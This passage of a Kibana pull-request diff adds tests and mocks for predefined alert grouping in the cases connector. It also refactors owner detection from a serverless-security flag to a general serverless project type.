expect(casesClientMock.attachments.bulkCreate).toHaveBeenCalledTimes(1); }); + + it('sets rule info to null when `internallyManagedAlerts` is `true`', async () => { + await connectorExecutor.execute({ ...params, internallyManagedAlerts: true }); + + expect(casesClientMock.attachments.bulkCreate).toHaveBeenCalledTimes(3); + expect(casesClientMock.attachments.bulkCreate).nthCalledWith(1, { + caseId: 'mock-id-1', + attachments: [ + { + alertId: ['alert-id-0', 'alert-id-2'], + index: ['alert-index-0', 'alert-index-2'], + owner: 'securitySolution', + rule: { id: null, name: null }, + type: 'alert', + }, + ], + }); + + expect(casesClientMock.attachments.bulkCreate).nthCalledWith(2, { + caseId: 'mock-id-2', + attachments: [ + { + alertId: ['alert-id-1'], + index: ['alert-index-1'], + owner: 'securitySolution', + rule: { id: null, name: null }, + type: 'alert', + }, + ], + }); + + expect(casesClientMock.attachments.bulkCreate).nthCalledWith(3, { + caseId: 'mock-id-3', + attachments: [ + { + alertId: ['alert-id-3'], + index: ['alert-index-3'], + owner: 'securitySolution', + rule: { id: null, name: null }, + type: 'alert', + }, + ], + }); + }); }); describe('Error handling', () => { @@ -3107,4 +3151,458 @@ describe('CasesConnectorExecutor', () => { }); }); }); + + describe('With predefined grouping via `groupedAlerts`', () => { + const paramsWithGroupedAlerts: CasesConnectorRunParams = { + alerts, + groupedAlerts, + groupingBy, + owner, + rule, + timeWindow, + internallyManagedAlerts: true, + reopenClosedCases, + maximumCasesToOpen: 5, + templateId: null, + }; + + describe('run', () => { + describe('Initial state', () => { + beforeEach(() => { + mockBulkGetRecords.mockResolvedValue([ + { + id: groupedAlertsWithOracleKey[0].oracleKey, + type: CASE_RULES_SAVED_OBJECT, + message: 'Not found', + statusCode: 404, + error: 'Not found', + }, + { + id: groupedAlertsWithOracleKey[1].oracleKey, + type: CASE_RULES_SAVED_OBJECT, + message: 'Not found', + statusCode: 404, + error: 'Not found', + }, + { + id: groupedAlertsWithOracleKey[2].oracleKey, + type: CASE_RULES_SAVED_OBJECT, + message: 'Not found', + statusCode: 404, + error: 'Not found', + }, + ]); + + mockBulkCreateRecords.mockResolvedValue([ + oracleRecords[0], + oracleRecords[1], + createdOracleRecord, + ]); + + casesClientMock.cases.bulkGet.mockResolvedValue({ + cases: [], + errors: [ + { + error: 'Not found', + message: 'Not found', + status: 404, + caseId: 'mock-id-1', + }, + { + error: 'Not found', + message: 'Not found', + status: 404, + caseId: 'mock-id-2', + }, + { + error: 'Not found', + message: 'Not found', + status: 404, + caseId: 'mock-id-3', + }, + ], + }); + + casesClientMock.cases.bulkCreate.mockResolvedValue({ cases }); + }); + + it('attach the alerts correctly when the rule runs for the first time', async () => { + await connectorExecutor.execute(paramsWithGroupedAlerts); + + expect(mockBulkCreateRecords).toHaveBeenCalledTimes(1); + expect(mockBulkCreateRecords).toHaveBeenCalledWith([ + expect.objectContaining({ + payload: expect.objectContaining({ grouping: { field_name_1: 'field_value_1' } }), + }), + expect.objectContaining({ + payload: expect.objectContaining({ grouping: { field_name_2: 'field_value_2' } }), + }), + expect.objectContaining({ + payload: expect.objectContaining({ grouping: { field_name_1: 'field_value_3' } }), + }), + ]); + + expect(casesClientMock.cases.bulkCreate).toHaveBeenCalledTimes(1); + expect(casesClientMock.cases.bulkCreate.mock.calls).toMatchInlineSnapshot(` + Array [ + Array [ + Object { + "cases": Array [ + Object { + "connector": Object { + "fields": null, + "id": "none", + "name": "none", + "type": ".none", + }, + "customFields": Array [], + "description": "This case was created by the rule ['Test rule'](https://example.com/rules/rule-test-id). The assigned alerts are grouped by \`field_name_1: field_value_1\`.", + "id": "mock-id-1", + "owner": "cases", + "settings": Object { + "syncAlerts": false, + }, + "tags": Array [ + "auto-generated", + "rule:rule-test-id", + "field_name_1", + "field_name_1:field_value_1", + "rule", + "test", + ], + "title": "custom-title", + }, + Object { + "connector": Object { + "fields": null, + "id": "none", + "name": "none", + "type": ".none", + }, + "customFields": Array [], + "description": "This case was created by the rule ['Test rule'](https://example.com/rules/rule-test-id). The assigned alerts are grouped by \`field_name_2: field_value_2\`.", + "id": "mock-id-2", + "owner": "cases", + "settings": Object { + "syncAlerts": false, + }, + "tags": Array [ + "auto-generated", + "rule:rule-test-id", + "field_name_2", + "field_name_2:field_value_2", + "rule", + "test", + ], + "title": "Test rule - Grouping by field_value_2 (Auto-created)", + }, + Object { + "connector": Object { + "fields": null, + "id": "none", + "name": "none", + "type": ".none", + }, + "customFields": Array [], + "description": "This case was created by the rule ['Test rule'](https://example.com/rules/rule-test-id). The assigned alerts are grouped by \`field_name_1: field_value_3\`.", + "id": "mock-id-3", + "owner": "cases", + "settings": Object { + "syncAlerts": false, + }, + "tags": Array [ + "auto-generated", + "rule:rule-test-id", + "field_name_1", + "field_name_1:field_value_3", + "rule", + "test", + ], + "title": "Test rule - Grouping by field_value_3 (Auto-created)", + }, + ], + }, + ], + ] + `); + + expectCasesToHaveTheCorrectAlertsAttachedWithPredefinedGrouping(casesClientMock); + }); + }); + + describe('Oracle records', () => { + it('generates the oracle keys correctly with predefined grouping by field', async () => { + await connectorExecutor.execute({ + ...paramsWithGroupedAlerts, + groupingBy: ['host.name'], + }); + + expect(mockGetRecordId).toHaveBeenCalledTimes(3); + + expect(mockGetRecordId).nthCalledWith(1, { + ruleId: rule.id, + grouping: { field_name_1: 'field_value_1' }, + owner, + spaceId: 'default', + }); + + expect(mockGetRecordId).nthCalledWith(2, { + ruleId: rule.id, + grouping: { field_name_2: 'field_value_2' }, + owner, + spaceId: 'default', + }); + + expect(mockGetRecordId).nthCalledWith(3, { + ruleId: rule.id, + grouping: { field_name_1: 'field_value_3' }, + owner, + spaceId: 'default', + }); + }); + }); + + describe('Cases', () => { + it('generates the case ids correctly', async () => { + await connectorExecutor.execute(paramsWithGroupedAlerts); + + expect(mockGetCaseId).toHaveBeenCalledTimes(3); + + expect(mockGetCaseId).nthCalledWith(1, { + ruleId: rule.id, + grouping: { field_name_1: 'field_value_1' }, + owner, + spaceId: 'default', + counter: 1, + }); + expect(mockGetCaseId).nthCalledWith(2, { + ruleId: rule.id, + grouping: { field_name_2: 'field_value_2' }, + owner, + spaceId: 'default', + counter: 1, + }); + expect(mockGetCaseId).nthCalledWith(3, { + ruleId: rule.id, + grouping: { field_name_1: 'field_value_3' }, + owner, + spaceId: 'default', + counter: 1, + }); + }); + + it('converts grouping values in the description correctly', async () => { + mockBulkGetRecords.mockResolvedValue([oracleRecords[0]]); + casesClientMock.cases.bulkCreate.mockResolvedValue({ cases: [cases[0]] }); + casesClientMock.cases.bulkGet.mockResolvedValue({ + cases: [], + errors: [ + { + error: 'Not found', + message: 'Not found', + status: 404, + caseId: 'mock-id-1', + }, + ], + }); + + await connectorExecutor.execute(paramsWithGroupedAlerts); + + const description = + casesClientMock.cases.bulkCreate.mock.calls[0][0].cases[0].description; + + expect(description).toMatchInlineSnapshot( + `"This case was created by the rule ['Test rule'](https://example.com/rules/rule-test-id). The assigned alerts are grouped by \`field_name_1: field_value_1\`."` + ); + }); + + it('adds predefined title', async () => { + mockBulkGetRecords.mockResolvedValue([{ ...oracleRecords[0], counter: 2 }]); + casesClientMock.cases.bulkCreate.mockResolvedValue({ cases: [cases[0]] }); + casesClientMock.cases.bulkGet.mockResolvedValue({ + cases: [], + errors: [ + { + error: 'Not found', + message: 'Not found', + status: 404, + caseId: 'mock-id-1', + }, + ], + }); + + await connectorExecutor.execute(paramsWithGroupedAlerts); + const title = casesClientMock.cases.bulkCreate.mock.calls[0][0].cases[0].title; + + expect(title).toMatchInlineSnapshot(`"custom-title"`); + }); + + it('converts grouping values in tags correctly', async () => { + mockBulkGetRecords.mockResolvedValue([oracleRecords[0]]); + casesClientMock.cases.bulkCreate.mockResolvedValue({ cases: [cases[0]] }); + casesClientMock.cases.bulkGet.mockResolvedValue({ + cases: [], + errors: [ + { + error: 'Not found', + message: 'Not found', + status: 404, + caseId: 'mock-id-1', + }, + ], + }); + + await connectorExecutor.execute({ + ...paramsWithGroupedAlerts, + alerts: [ + { + _id: 'test-id', + _index: 'test-index', + foo: ['bar', 1, true, {}], + bar: { foo: 'test' }, + baz: 'my value', + }, + ], + groupingBy: ['foo', 'bar', 'baz'], + }); + + const tags = casesClientMock.cases.bulkCreate.mock.calls[0][0].cases[0].tags; + + expect(tags).toEqual([ + 'auto-generated', + 'rule:rule-test-id', + 'field_name_1', + 'field_name_1:field_value_1', + 'rule', + 'test', + ]); + }); + }); + + describe('Alerts', () => { + it('attach the alerts to the correct cases correctly', async () => { + await connectorExecutor.execute(paramsWithGroupedAlerts); + + expectCasesToHaveTheCorrectAlertsAttachedWithPredefinedGrouping(casesClientMock); + }); + + it('attaches alerts to reopened cases', async () => { + casesClientMock.cases.bulkGet.mockResolvedValue({ + cases: [{ ...cases[0], status: CaseStatuses.closed }], + errors: [], + }); + + casesClientMock.cases.bulkUpdate.mockResolvedValue([ + { ...cases[0], status: CaseStatuses.open }, + ]); + + await connectorExecutor.execute({ + ...paramsWithGroupedAlerts, + reopenClosedCases: true, + }); + + expect(casesClientMock.attachments.bulkCreate).toHaveBeenCalledTimes(1); + expect(casesClientMock.attachments.bulkCreate).nthCalledWith(1, { + caseId: 'mock-id-1', + attachments: [ + { + comment: 'comment-1', + owner: 'securitySolution', + type: 'user', + }, + { + alertId: ['alert-id-1', 'alert-id-2'], + index: ['alert-index-1', 'alert-index-1'], + owner: 'securitySolution', + rule: { id: null, name: null }, + type: 'alert', + }, + ], + }); + }); + + it('attaches alerts to new created cases if they were closed', async () => { + casesClientMock.cases.bulkGet.mockResolvedValue({ + cases: [{ ...cases[0], status: CaseStatuses.closed }], + errors: [], + }); + + mockBulkUpdateRecord.mockResolvedValue([{ ...oracleRecords[0], counter: 2 }]); + casesClientMock.cases.bulkCreate.mockResolvedValue({ + cases: [{ ...cases[0], id: 'mock-id-4' }], + }); + + await connectorExecutor.execute({ + ...paramsWithGroupedAlerts, + reopenClosedCases: false, + }); + + expect(casesClientMock.attachments.bulkCreate).toHaveBeenCalledTimes(1); + expect(casesClientMock.attachments.bulkCreate).nthCalledWith(1, { + caseId: 'mock-id-4', + attachments: [ + { + alertId: ['alert-id-1', 'alert-id-2'], + index: ['alert-index-1', 'alert-index-1'], + owner: 'securitySolution', + rule: { id: null, name: null }, + type: 'alert', + }, + ], + }); + }); + + it('does not attach alerts to cases that have surpass the limit', async () => { + casesClientMock.cases.bulkGet.mockResolvedValue({ + cases: [{ ...cases[0], totalAlerts: MAX_ALERTS_PER_CASE }], + errors: [], + }); + + await connectorExecutor.execute(paramsWithGroupedAlerts); + + expect(casesClientMock.attachments.bulkCreate).toHaveBeenCalledTimes(0); + expect(mockLogger.warn).toHaveBeenCalledWith( + 'Cases with ids "mock-id-1" contain more than 1000 alerts. The new alerts will not be attached to the cases. Total new alerts: 1', + { tags: ['cases-connector', 'rule:rule-test-id'], labels: {} } + ); + }); + + it('does not attach alerts to cases when attaching the new alerts will surpass the limit', async () => { + casesClientMock.cases.bulkGet.mockResolvedValue({ + cases: [ + { + ...cases[0], + totalAlerts: MAX_ALERTS_PER_CASE - groupedAlertsWithOracleKey[0].alerts.length + 1, + }, + ], + errors: [], + }); + + await connectorExecutor.execute(paramsWithGroupedAlerts); + + expect(casesClientMock.attachments.bulkCreate).toHaveBeenCalledTimes(0); + expect(mockLogger.warn).toHaveBeenCalledWith( + 'Cases with ids "mock-id-1" contain more than 1000 alerts. The new alerts will not be attached to the cases. Total new alerts: 1', + { tags: ['cases-connector', 'rule:rule-test-id'], labels: {} } + ); + }); + + it('attach alerts to cases when attaching the new alerts will be equal to the limit', async () => { + casesClientMock.cases.bulkGet.mockResolvedValue({ + cases: [ + { + ...cases[0], + totalAlerts: MAX_ALERTS_PER_CASE - groupedAlertsWithOracleKey[0].alerts.length, + }, + ], + errors: [], + }); + + await connectorExecutor.execute(paramsWithGroupedAlerts); + + expect(casesClientMock.attachments.bulkCreate).toHaveBeenCalledTimes(1); + }); + }); + }); + }); }); diff --git a/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.mock.ts b/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.mock.ts index a530d44185dfe..d3739491691e4 100644 --- a/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.mock.ts +++ b/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.mock.ts @@ -87,7 +87,29 @@ export const alertsWithNoGrouping = [ { _id: 'alert-id-5', _index: 'alert-index-5' }, ]; -export const groupedAlerts = null; +export const groupedAlerts = [ + { + alerts: [ + { _id: 'alert-id-1', _index: 'alert-index-1' }, + { _id: 'alert-id-2', _index: 'alert-index-1' }, + ], + comments: ['comment-1'], + grouping: { field_name_1: 'field_value_1' }, + title: 'custom-title', + }, + { + alerts: [ + { _id: 'alert-id-3', _index: 'alert-index-2' }, + { _id: 'alert-id-4', _index: 'alert-index-2' }, + ], + comments: ['comment-2', 'comment-3'], + grouping: { field_name_2: 'field_value_2' }, + }, + { + alerts: [{ _id: 'alert-id-5', _index: 'alert-index-3' }], + grouping: { field_name_1: 'field_value_3' }, + }, +]; export const internallyManagedAlerts = false; export const groupingBy = ['host.name', 'dest.ip']; diff --git a/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.test.ts b/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.test.ts index 1a62c54d20c62..d1ce0e24383d1 100644 --- a/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.test.ts +++ b/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.test.ts @@ -9,6 +9,7 @@ import type { SubActionConnectorType } from '@kbn/actions-plugin/server/sub_acti import type { CasesConnectorConfig, CasesConnectorSecrets } from './types'; import { getCasesConnectorAdapter, getCasesConnectorType } from '.'; import { AlertConsumers } from '@kbn/rule-data-utils'; +import { OBSERVABILITY_PROJECT_TYPE_ID, SECURITY_PROJECT_TYPE_ID } from '../../../common/constants'; import { loggingSystemMock } from '@kbn/core/server/mocks'; import type { Logger } from '@kbn/core/server'; import { ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID } from '@kbn/elastic-assistant-common'; @@ -340,7 +341,7 @@ describe('getCasesConnectorType', () => { it('correctly fallsback to security owner if the project is serverless security', () => { const adapter = getCasesConnectorAdapter({ - isServerlessSecurity: true, + serverlessProjectType: SECURITY_PROJECT_TYPE_ID, logger: mockLogger, }); @@ -623,7 +624,7 @@ describe('getCasesConnectorType', () => { it('correctly overrides the consumer and producer if the project is serverless security', () => { const adapter = getCasesConnectorAdapter({ - isServerlessSecurity: true, + serverlessProjectType: SECURITY_PROJECT_TYPE_ID, logger: mockLogger, }); @@ -645,6 +646,31 @@ describe('getCasesConnectorType', () => { 'cases:securitySolution/assignCase', ]); }); + + it('correctly overrides the consumer and producer if the project is serverless observability', () => { + const adapter = getCasesConnectorAdapter({ + serverlessProjectType: OBSERVABILITY_PROJECT_TYPE_ID, + logger: mockLogger, + }); + + expect( + adapter.getKibanaPrivileges?.({ + consumer: 'alerts', + producer: AlertConsumers.SIEM, + }) + ).toEqual([ + 'cases:observability/createCase', + 'cases:observability/updateCase', + 'cases:observability/deleteCase', + 'cases:observability/pushCase', + 'cases:observability/createComment', + 'cases:observability/updateComment', + 'cases:observability/deleteComment', + 'cases:observability/findConfigurations', + 'cases:observability/reopenCase', + 'cases:observability/assignCase', + ]); + }); }); }); }); diff --git a/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.ts b/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.ts index 31f35cd1bcfb2..0b1e8122d5087 100644 --- a/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.ts +++ b/x-pack/platform/plugins/shared/cases/server/connectors/cases/index.ts @@ -15,13 +15,10 @@ import type { KibanaRequest } from '@kbn/core-http-server'; import type { Logger, SavedObjectsClientContract } from '@kbn/core/server'; import type { ConnectorAdapter } from '@kbn/alerting-plugin/server'; import { ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID } from '@kbn/elastic-assistant-common'; +import type { ServerlessProjectType } from '../../../common/constants/types'; import { CasesConnector } from './cases_connector'; import { DEFAULT_MAX_OPEN_CASES } from './constants'; -import { - CASES_CONNECTOR_ID, - CASES_CONNECTOR_TITLE, - SECURITY_SOLUTION_OWNER, -} from '../../../common/constants'; +import { CASES_CONNECTOR_ID, CASES_CONNECTOR_TITLE, OWNER_INFO } from '../../../common/constants'; import { getOwnerFromRuleConsumerProducer } from '../../../common/utils/owner'; import type { @@ -47,14 +44,14 @@ interface GetCasesConnectorTypeArgs { savedObjectTypes: string[] ) => Promise; getSpaceId: (request?: KibanaRequest) => string; - isServerlessSecurity?: boolean; + serverlessProjectType?: string; } export const getCasesConnectorType = ({ getCasesClient, getSpaceId, getUnsecuredSavedObjectsClient, - isServerlessSecurity, + serverlessProjectType, }: GetCasesConnectorTypeArgs): SubActionConnectorType< CasesConnectorConfig, CasesConnectorSecrets @@ -82,18 +79,26 @@ export const getCasesConnectorType = ({ throw new Error('Cannot authorize cases. Owner is not defined in the subActionParams.'); } - const owner = isServerlessSecurity - ? SECURITY_SOLUTION_OWNER - : (params?.subActionParams?.owner as string); + let owner: string; + if (serverlessProjectType) { + const foundOwner = Object.entries(OWNER_INFO).find(([, info]) => { + return info.serverlessProjectType === serverlessProjectType; + }); + + owner = foundOwner ? foundOwner[1].id : OWNER_INFO.cases.id; + } else { + owner = params?.subActionParams?.owner as string; + } return constructRequiredKibanaPrivileges(owner); }, }); export const getCasesConnectorAdapter = ({ - isServerlessSecurity, + serverlessProjectType, logger, }: { + serverlessProjectType?: ServerlessProjectType; isServerlessSecurity?: boolean; logger: Logger; }): ConnectorAdapter => { @@ -125,7 +130,7 @@ export const getCasesConnectorAdapter = ({ const owner = getOwnerFromRuleConsumerProducer({ consumer: rule.consumer, producer: rule.producer, - isServerlessSecurity, + serverlessProjectType, }); const subActionParams = { @@ -144,7 +149,7 @@ export const getCasesConnectorAdapter = ({ return { subAction: 'run', subActionParams }; }, getKibanaPrivileges: ({ consumer, producer }) => { - const owner = getOwnerFromRuleConsumerProducer({ consumer, producer, isServerlessSecurity }); + const owner = getOwnerFromRuleConsumerProducer({ consumer, producer, serverlessProjectType }); return constructRequiredKibanaPrivileges(owner); }, }; diff --git a/x-pack/platform/plugins/shared/cases/server/connectors/cases/schema.test.ts b/x-pack/platform/plugins/shared/cases/server/connectors/cases/schema.test.ts index 642d027bef0be..9300714ed8872 100644 --- a/x-pack/platform/plugins/shared/cases/server/connectors/cases/schema.test.ts +++ b/x-pack/platform/plugins/shared/cases/server/connectors/cases/schema.test.ts @@ -5,16 +5,15 @@ * 2.0. */ +import { MAX_ALERTS_PER_CASE, MAX_DOCS_PER_PAGE } from '../../../common/constants'; import { CasesConnectorRunParamsSchema } from './schema'; describe('CasesConnectorRunParamsSchema', () => { const getParams = (overrides = {}) => ({ alerts: [{ _id: 'alert-id', _index: 'alert-index' }], - groupedAlerts: null, groupingBy: ['host.name'], rule: { id: 'rule-id', name: 'Test rule', tags: [], ruleUrl: 'https://example.com' }, owner: 'cases', - internallyManagedAlerts: false, ...overrides, }); @@ -31,7 +30,7 @@ describe('CasesConnectorRunParamsSchema', () => { "groupingBy": Array [ "host.name", ], - "internallyManagedAlerts": false, + "internallyManagedAlerts": null, "maximumCasesToOpen": 5, "owner": "cases", "reopenClosedCases": false, @@ -217,4 +216,130 @@ describe('CasesConnectorRunParamsSchema', () => { ).toBe('case_template_key'); }); }); + + describe('groupedAlerts', () => { + it('defaults the groupedAlerts to null', () => { + expect(CasesConnectorRunParamsSchema.validate(getParams()).groupedAlerts).toBe(null); + }); + + it('accept empty groupedAlerts', () => { + expect( + CasesConnectorRunParamsSchema.validate(getParams({ groupedAlerts: [] })).groupedAlerts + ).toEqual([]); + }); + + it('accepts valid groupedAlerts', () => { + const groupedAlerts = [ + { + alerts: [{ _id: 'alert-id-1', _index: 'alert-index-2' }], + comments: ['comment-1'], + grouping: { field_name: 'field_value' }, + title: 'custom-title', + }, + ]; + expect(CasesConnectorRunParamsSchema.validate(getParams({ groupedAlerts })).groupedAlerts) + .toMatchInlineSnapshot(` + Array [ + Object { + "alerts": Array [ + Object { + "_id": "alert-id-1", + "_index": "alert-index-2", + }, + ], + "comments": Array [ + "comment-1", + ], + "grouping": Object { + "field_name": "field_value", + }, + "title": "custom-title", + }, + ] + `); + }); + + it('does not accept undefined `grouping` field', () => { + const groupedAlerts = [ + { + alerts: [{ _id: 'alert-id-1', _index: 'alert-index-2' }], + comments: ['comment-1'], + title: 'custom-title', + }, + ]; + expect(() => CasesConnectorRunParamsSchema.validate(getParams({ groupedAlerts }))).toThrow(); + }); + + it('does not accept undefined `alerts` field', () => { + const groupedAlerts = [ + { + comments: ['comment-1'], + grouping: { field_name: 'field_value' }, + title: 'custom-title', + }, + ]; + expect(() => CasesConnectorRunParamsSchema.validate(getParams({ groupedAlerts }))).toThrow(); + }); + + it('does not accept more than `MAX_ALERTS_PER_CASE` items in `alerts` field', () => { + const groupedAlerts = [ + { + alerts: new Array(MAX_ALERTS_PER_CASE + 1).fill({ + _id: 'alert-id-1', + _index: 'alert-index-2', + }), + comments: ['comment-1'], + grouping: { field_name: 'field_value' }, + title: 'custom-title', + }, + ]; + expect(() => CasesConnectorRunParamsSchema.validate(getParams({ groupedAlerts }))).toThrow(); + }); + + it('does not accept more than `MAX_DOCS_PER_PAGE / 2` items in `comments` field', () => { + const groupedAlerts = [ + { + alerts: [{ _id: 'alert-id-1', _index: 'alert-index-2' }], + comments: new Array(MAX_DOCS_PER_PAGE / 2 + 1).fill('comment-1'), + grouping: { field_name: 'field_value' }, + title: 'custom-title', + }, + ]; + expect(() => CasesConnectorRunParamsSchema.validate(getParams({ groupedAlerts }))).toThrow(); + }); + + it('accept undefined `comments` field', () => { + const groupedAlerts = [ + { + alerts: [{ _id: 'alert-id-1', _index: 'alert-index-2' }], + grouping: { field_name: 'field_value' }, + title: 'custom-title', + }, + ]; + expect(() => + CasesConnectorRunParamsSchema.validate(getParams({ groupedAlerts })) + ).not.toThrow(); + }); + + it('accept undefined `title` field', () => { + const groupedAlerts = [ + { + alerts: [{ _id: 'alert-id-1', _index: 'alert-index-2' }], + comments: ['comment-1'], + grouping: { field_name: 'field_value' }, + }, + ]; + expect(() => + CasesConnectorRunParamsSchema.validate(getParams({ groupedAlerts })) + ).not.toThrow(); + }); + }); + + describe('internallyManagedAlerts', () => { + it('defaults the internallyManagedAlerts to null', () => { + expect(CasesConnectorRunParamsSchema.validate(getParams()).internallyManagedAlerts).toBe( + null + ); + }); + }); }); diff --git a/x-pack/platform/plugins/shared/cases/server/connectors/cases/test_helpers.ts b/x-pack/platform/plugins/shared/cases/server/connectors/cases/test_helpers.ts index 9dc2b37785959..1b22b0aaf9ecf 100644 --- a/x-pack/platform/plugins/shared/cases/server/connectors/cases/test_helpers.ts +++ b/x-pack/platform/plugins/shared/cases/server/connectors/cases/test_helpers.ts @@ -114,3 +114,51 @@ export const expectCasesToHaveTheCorrectAlertsAttachedWithGroupingAndIncreasedCo ], }); }; + +export const expectCasesToHaveTheCorrectAlertsAttachedWithPredefinedGrouping = ( + casesClientMock: CasesClientMock +) => { + expect(casesClientMock.attachments.bulkCreate).toHaveBeenCalledTimes(3); + + expect(casesClientMock.attachments.bulkCreate).nthCalledWith(1, { + caseId: 'mock-id-1', + attachments: [ + { comment: 'comment-1', owner: 'securitySolution', type: 'user' }, + { + alertId: ['alert-id-1', 'alert-id-2'], + index: ['alert-index-1', 'alert-index-1'], + owner: 'securitySolution', + rule: { id: null, name: null }, + type: 'alert', + }, + ], + }); + + expect(casesClientMock.attachments.bulkCreate).nthCalledWith(2, { + caseId: 'mock-id-2', + attachments: [ + { comment: 'comment-2', owner: 'securitySolution', type: 'user' }, + { comment: 'comment-3', owner: 'securitySolution', type: 'user' }, + { + alertId: ['alert-id-3', 'alert-id-4'], + index: ['alert-index-2', 'alert-index-2'], + owner: 'securitySolution', + rule: { id: null, name: null }, + type: 'alert', + }, + ], + }); + + expect(casesClientMock.attachments.bulkCreate).nthCalledWith(3, { + caseId: 'mock-id-3', + attachments: [ + { + alertId: ['alert-id-5'], + index: ['alert-index-3'], + owner: 'securitySolution', + rule: { id: null, name: null }, + type: 'alert', + }, + ], + }); +}; diff --git a/x-pack/platform/plugins/shared/cases/server/connectors/index.ts b/x-pack/platform/plugins/shared/cases/server/connectors/index.ts index 6b6820329d30a..aeca83581f2b5 100644 --- a/x-pack/platform/plugins/shared/cases/server/connectors/index.ts +++ b/x-pack/platform/plugins/shared/cases/server/connectors/index.ts @@ -10,6 +10,7 @@ import type { KibanaRequest } from '@kbn/core-http-server'; import type { CoreSetup, Logger, SavedObjectsClientContract } from '@kbn/core/server'; import { SECURITY_EXTENSION_ID } from '@kbn/core/server'; import type { AlertingServerSetup } from '@kbn/alerting-plugin/server'; +import type { ServerlessProjectType } from '../../common/constants/types'; import type { CasesClient } from '../client'; import { getCasesConnectorAdapter, getCasesConnectorType } from './cases'; @@ -23,7 +24,7 @@ export function registerConnectorTypes({ logger, getCasesClient, getSpaceId, - isServerlessSecurity, + serverlessProjectType, }: { actions: ActionsPluginSetupContract; alerting: AlertingServerSetup; @@ -31,7 +32,7 @@ export function registerConnectorTypes({ logger: Logger; getCasesClient: (request: KibanaRequest) => Promise; getSpaceId: (request?: KibanaRequest) => string; - isServerlessSecurity?: boolean; + serverlessProjectType?: ServerlessProjectType; }) { const getUnsecuredSavedObjectsClient = async ( request: KibanaRequest, @@ -61,9 +62,9 @@ export function registerConnectorTypes({ getCasesClient, getSpaceId, getUnsecuredSavedObjectsClient, - isServerlessSecurity, + serverlessProjectType, }) ); - alerting.registerConnectorAdapter(getCasesConnectorAdapter({ isServerlessSecurity, logger })); + alerting.registerConnectorAdapter(getCasesConnectorAdapter({ serverlessProjectType, logger })); } diff --git a/x-pack/platform/plugins/shared/cases/server/plugin.test.ts b/x-pack/platform/plugins/shared/cases/server/plugin.test.ts index ca8419bcb5f26..1e2e88d1007a2 100644 --- a/x-pack/platform/plugins/shared/cases/server/plugin.test.ts +++ b/x-pack/platform/plugins/shared/cases/server/plugin.test.ts @@ -29,7 +29,7 @@ function getConfig(overrides: Partial = {}): ConfigType { files: { maxSize: 1, allowedMimeTypes: ALLOWED_MIME_TYPES }, stack: { enabled: true }, incrementalId: { enabled: true, taskIntervalMinutes: 10, taskStartDelayMinutes: 10 }, - analytics: {}, + analytics: { index: { enabled: true } }, ...overrides, }; } diff --git a/x-pack/platform/plugins/shared/cases/server/plugin.ts b/x-pack/platform/plugins/shared/cases/server/plugin.ts index e69f55cca2099..f7afdd26a4b1d 100644 --- a/x-pack/platform/plugins/shared/cases/server/plugin.ts +++ b/x-pack/platform/plugins/shared/cases/server/plugin.ts @@ -47,6 +47,7 @@ import { registerCaseFileKinds } from './files'; import type { ConfigType } from './config'; import { registerConnectorTypes } from './connectors'; import { registerSavedObjects } from './saved_object_types'; +import type { ServerlessProjectType } from '../common/constants/types'; import { IncrementalIdTaskManager } from './tasks/incremental_id/incremental_id_task_manager'; import { createCasesAnalyticsIndexes, @@ -140,14 +141,6 @@ export class CasePlugin } if (plugins.taskManager) { - if (this.caseConfig.incrementalId.enabled) { - this.incrementalIdTaskManager = new IncrementalIdTaskManager( - plugins.taskManager, - this.caseConfig.incrementalId, - this.logger - ); - } - if (plugins.usageCollection) { createCasesTelemetry({ core, @@ -157,17 +150,24 @@ export class CasePlugin kibanaVersion: this.kibanaVersion, }); } + + if (this.caseConfig.incrementalId.enabled) { + this.incrementalIdTaskManager = new IncrementalIdTaskManager( + plugins.taskManager, + this.caseConfig.incrementalId, + this.logger, + plugins.usageCollection + ); + } } const router = core.http.createRouter(); const telemetryUsageCounter = plugins.usageCollection?.createUsageCounter(APP_ID); - const isServerless = plugins.cloud?.isServerlessEnabled; - registerRoutes({ router, routes: [ - ...getExternalRoutes({ isServerless, docLinks: core.docLinks }), + ...getExternalRoutes({ isServerless: this.isServerless, docLinks: core.docLinks }), ...getInternalRoutes(this.userProfileService), ], logger: this.logger, @@ -191,8 +191,9 @@ export class CasePlugin return plugins.spaces?.spacesService.getSpaceId(request) ?? DEFAULT_SPACE_ID; }; - const isServerlessSecurity = - plugins.cloud?.isServerlessEnabled && plugins.cloud?.serverless.projectType === 'security'; + const serverlessProjectType = this.isServerless + ? (plugins.cloud?.serverless.projectType as ServerlessProjectType) + : undefined; registerConnectorTypes({ actions: plugins.actions, @@ -201,7 +202,7 @@ export class CasePlugin logger: this.logger, getCasesClient, getSpaceId, - isServerlessSecurity, + serverlessProjectType, }); return { @@ -224,6 +225,7 @@ export class CasePlugin if (this.caseConfig.incrementalId.enabled) { void this.incrementalIdTaskManager?.setupIncrementIdTask(plugins.taskManager, core); } + if (this.caseConfig.analytics.index?.enabled) { scheduleCasesAnalyticsSyncTasks({ taskManager: plugins.taskManager, logger: this.logger }); createCasesAnalyticsIndexes({ diff --git a/x-pack/platform/plugins/shared/cases/server/tasks/incremental_id/incremental_id_task_manager.ts b/x-pack/platform/plugins/shared/cases/server/tasks/incremental_id/incremental_id_task_manager.ts index 69199a9cc8dea..9f85757645499 100644 --- a/x-pack/platform/plugins/shared/cases/server/tasks/incremental_id/incremental_id_task_manager.ts +++ b/x-pack/platform/plugins/shared/cases/server/tasks/incremental_id/incremental_id_task_manager.ts @@ -10,6 +10,8 @@ import { type TaskManagerSetupContract, type TaskManagerStartContract, } from '@kbn/task-manager-plugin/server'; +import type { UsageCollectionSetup } from '@kbn/usage-collection-plugin/server'; +import type { IUsageCounter } from '@kbn/usage-collection-plugin/server/usage_counters/usage_counter'; import { CASE_SAVED_OBJECT, CASE_ID_INCREMENTER_SAVED_OBJECT } from '../../../common/constants'; import { CasesIncrementalIdService } from 